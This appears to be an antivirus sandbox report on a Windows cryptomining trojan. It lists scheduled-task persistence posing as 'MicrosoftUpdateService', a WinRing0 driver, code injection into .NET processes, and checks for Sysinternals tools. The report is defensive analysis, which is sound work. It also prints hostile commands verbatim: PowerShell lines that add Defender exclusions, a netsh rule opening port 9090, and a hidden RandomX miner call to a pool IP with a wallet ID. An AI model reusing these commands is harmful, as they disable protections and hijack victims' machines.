Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoftupdateservice
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-MpPreference -ExclusionPath '%APPDATA%\MicrosoftUpdateService\MicrosoftUpdateService.exe'; Add-MpPreference -ExclusionProcess '%APPDATA%\MicrosoftUpdateService\Microsof...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe'; Add-MpPreference -ExclusionProcess '%WINDIR%\Microsoft.NET\Framework64\v4.0.3...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'; Add-MpPreference -ExclusionProcess '%WINDIR%\Microsoft.NET\Framework64\v4....
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=9090
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\applaunch.exe
- %WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe
Patches code
in dll
- lcbln.exe process, KERNEL32.dll module
- lcbln.exe process, KERNELBASE.dll module
- lcbln.exe process, USER32.dll module
- lcbln.exe process, ADVAPI32.dll module
- applaunch.exe process, KERNEL32.dll module
- applaunch.exe process, KERNELBASE.dll module
- applaunch.exe process, USER32.dll module
- applaunch.exe process, ADVAPI32.dll module
in NTDLL dll
- lcbln.exe process, ntdll.dll module
- applaunch.exe process, ntdll.dll module
Searches for windows to
detect analytical utilities:
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
Modifies file system
Creates the following files
- %TEMP%\content\4204-3756-<File name>.exe-18-31-10-693.dump
- %TEMP%\content\4204-3756-<File name>.exe-18-31-10-972.dump
- %APPDATA%\microsoftupdateservice\microsoftupdateservice.exe
- %TEMP%\microsoftupdateservice.xml
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %TEMP%\content\4044-2404-applaunch.exe-18-31-31-351.dump
- %TEMP%\content\4044-2404-applaunch.exe-18-31-31-552.dump
Deletes following files that it created itself
- %TEMP%\microsoftupdateservice.xml
Network activity
Connects to
- '15#.#38.234.108':2053
- 'st######t.zx-infinity.space':443
- 'x1.#.lencr.org':80
- '15#.#38.234.108':53487
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- '15#.#38.234.108':2053
- 'st######t.zx-infinity.space':443
- '15#.#38.234.108':53487
UDP
- DNS ASK st######t.zx-infinity.space
- DNS ASK x1.#.lencr.org
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Executes the following
- '<SYSTEM32>\schtasks.exe' /delete /tn "MicrosoftUpdateService" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "MicrosoftUpdateService" /xml "%TEMP%\MicrosoftUpdateService.xml" /f
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\applaunch.exe'
- '<SYSTEM32>\schtasks.exe' /query /tn "MicrosoftUpdateService"
- '<SYSTEM32>\netsh.exe' advfirewall firewall show rule name="9090"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe' --algo rx/0 -o 15#.#38.234.108:53487 -u 492EmpaZxuwicrMMRYzPmiZjPwYwEntipj663jXCmvzNGP6rmJERhicAptm2etaVgkAv4miL1wqpABjmgUqPUXuVBLFzs1y.rig_cpuc -p c2 -k --cpu-max-threads-hint=50 --http-enabl...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\applaunch.exe' ' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe' --algo rx/0 -o 15#.#38.234.108:53487 -u 492EmpaZxuwicrMMRYzPmiZjPwYwEntipj663jXCmvzNGP6rmJERhicAptm2etaVgkAv4miL1wqpABjmgUqPUXuVBLFzs1y.rig_cpuc -p c2 -k --cpu-max-threads-hint=50 --http-enabl...' (with hidden window)
